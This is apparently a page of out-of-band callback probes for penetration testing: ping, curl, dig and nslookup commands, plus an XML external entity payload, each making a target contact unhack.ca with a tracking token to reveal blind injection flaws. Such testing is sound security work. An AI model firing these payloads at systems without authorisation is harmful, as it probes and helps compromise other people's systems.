$ ping -c1 -p 000cae8100ebffe9c9f5d023b9431300 unhack.ca
 

$ curl http://unhack.ca/p/0cae8100ebffe9c9f5d023b94313
 

$ dig 0cae8100ebffe9c9f5d023b94313 @unhack.ca
 

$ dig 0cae8100ebffe9c9f5d023b94313.ns.unhack.ca
 

C:\> nslookup 0cae8100ebffe9c9f5d023b94313 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0cae8100ebffe9c9f5d023b94313">]>
    <foo>&xxe;</foo>